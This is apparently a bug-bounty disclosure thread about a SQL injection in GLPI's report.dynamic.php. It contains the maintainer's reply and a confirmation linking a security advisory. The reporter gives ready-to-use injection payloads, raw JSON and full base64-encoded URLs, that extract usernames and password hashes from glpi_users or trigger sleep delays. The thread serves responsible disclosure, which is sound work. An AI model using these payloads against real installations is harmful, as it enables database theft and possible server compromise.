SQL Injection at /front/report.dynamic.php in glpi-project/glpi
Reported on
Feb 19th 2023
Description
A SQL Injection vulnerability allow to guest user with reports view like "Technician" to extract all data from database and some cases write a webshell on the server.
This vulnerability occurs because an insecure concatenation is taking place on this function: https://github.com/glpi-project/glpi/blob/10.0/bugfixes/src/DbUtils.php#L1922
I notice the existence of this function for several versions of GLPI, it probably affects older versions too, I tested it in the local version "GLPI 9.5.6" and I tested it against the cloud version "https://hakai.with22.glpi-network.cloud/" and both are vulnerable!
The vulnerable parameter is item_type param and this parameter receive a JSON object in base64 encoding, this JSON object contain a this structure:
{"type":"user","date1":"2022-02-19","date2":"2023-02-19","value2":0,"start":0}
The vulnerability occur on date2 variable, so we can inject SQL statement there and in this case extract username and password hash from database:
{"type":"user","date1":"2022-02-18","date2":"2023-02-18', INTERVAL 1 DAY))))) UNION SELECT 1,2,(select concat(name,'-',password) from glpi_users limit 1),4;-- -","value2":0,"start":0}
Just encode this object with base64 and send via item_type_param parameter to exploit vulnerability.
Proof of Concept
- Access your GLPI instance
- Access https://your-instance-url/front/report.dynamic.php?item_type=Stat&item_type_param=eyJ0eXBlIjoidXNlciIsImRhdGUxIjoiMjAyMi0wMi0xOSIsImRhdGUyIjoiMjAyMy0wMi0xOScsIElOVEVSVkFMIDEgREFZKSkpIFVOSU9OIFNFTEVDVCAxLHNsZWVwKDIwKSwzLDQ7LS0gLSIsInZhbHVlMiI6MCwic3RhcnQiOjB9&date1=2022-02-18&date2=2023-02-18&type=user&showgraph=0&itemtype=Ticket&value2=0&start=0&display_type=2&export=&_glpi_csrf_token=
Impact
An authenticated malicious attacker could exploit this vulnerability and extract data from the database, and in some cases, achieve Remote Command Execution.
I just notice i sent on wrong branch, i check on main branch and also is vulnerable:
https://github.com/glpi-project/glpi/blob/main/src/DbUtils.php#L1902
Hi,
I am not able to reproduce on the latest GLPI release (10.0.6). Indded, it produces the following error:
*** MySQL query error:
SQL: SELECT DISTINCT `glpi_users`.`id` AS `users_id`, `glpi_users`.`name` AS `name`, `glpi_users`.`realname` AS `realname`, `glpi_users`.`firstname` AS `firstname` FROM `glpi_tickets` LEFT JOIN `glpi_tickets_users` ON (`glpi_tickets_users`.`tickets_id` = `glpi_tickets`.`id` AND `glpi_tickets_users`.`type` = '1') INNER JOIN `glpi_users` ON (`glpi_tickets_users`.`users_id` = `glpi_users`.`id`) WHERE `glpi_tickets`.`is_deleted` = '0' AND (`glpi_tickets`.`entities_id` IN ('0')) AND ((((`glpi_tickets`.`date` >= '2022-02-19') AND (`glpi_tickets`.`date` <= ADDDATE('2023-02-19', INTERVAL 1 DAY))) UNION SELECT 1,sleep(20),3,4;-- -', INTERVAL 1 DAY))) OR ((`glpi_tickets`.`closedate` >= '2022-02-19') AND (`glpi_tickets`.`closedate` <= ADDDATE('2023-02-19', INTERVAL 1 DAY))) UNION SELECT 1,sleep(20),3,4;-- -', INTERVAL 1 DAY))))) ORDER BY `realname`, `firstname`, `name`
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT 1,sleep(20),3,4;-- -', INTERVAL 1 DAY))) OR ((`glpi_tickets`.`close'
i'm going install latest on my own machine, i just tested on your cloud environment and it works...
I just tested on version 10.0.6 and it worked with this payload:
https://your-instance-url/front/report.dynamic.php?item_type=Stat&item_type_param=eyJ0eXBlIjoidXNlciIsImRhdGUxIjoiMjAyMi0wMi0xOSIsImRhdGUyIjoiMjAyMy0wMi0xOScsIElOVEVSVkFMIDEgREFZKSkpKSkgVU5JT04gU0VMRUNUIDEsMiwoc2VsZWN0IGNvbmNhdChuYW1lLCctJyxwYXNzd29yZCkgZnJvbSBnbHBpX3VzZXJzIGxpbWl0IDEpLDQ7LS0gLSIsInZhbHVlMiI6MCwic3RhcnQiOjB9&date1=2022-02-18&date2=2023-02-18&type=user&showgraph=0&itemtype=Ticket&value2=0&start=0&display_type=2&export=&_glpi_csrf_token=
The difference between this payload and the other, this one closes 5 parentheses and the other just 3 parentheses.
{"type":"user","date1":"2022-02-19","date2":"2023-02-19', INTERVAL 1 DAY))))) UNION SELECT 1,2,(select concat(name,'-',password) from glpi_users limit 1),4;-- -","value2":0,"start":0}
When executing this payload, you will be able to see in the first column of the generated PDF the content of the first "username" and "password" of the database.
You can also edit the third parameter inside the injected payload and set a "sleep" or try to extract any other value from the table as PoC.
Some images of current setup and working PoC.
Version:
Payload working on this version:
Payload working at cloud version:
I confirm the issue. Debug mode has to be deactivated to ensure SQL error are not breaking the PDF response payload.
See https://github.com/glpi-project/glpi/security/advisories/GHSA-2c7r-gf38-358f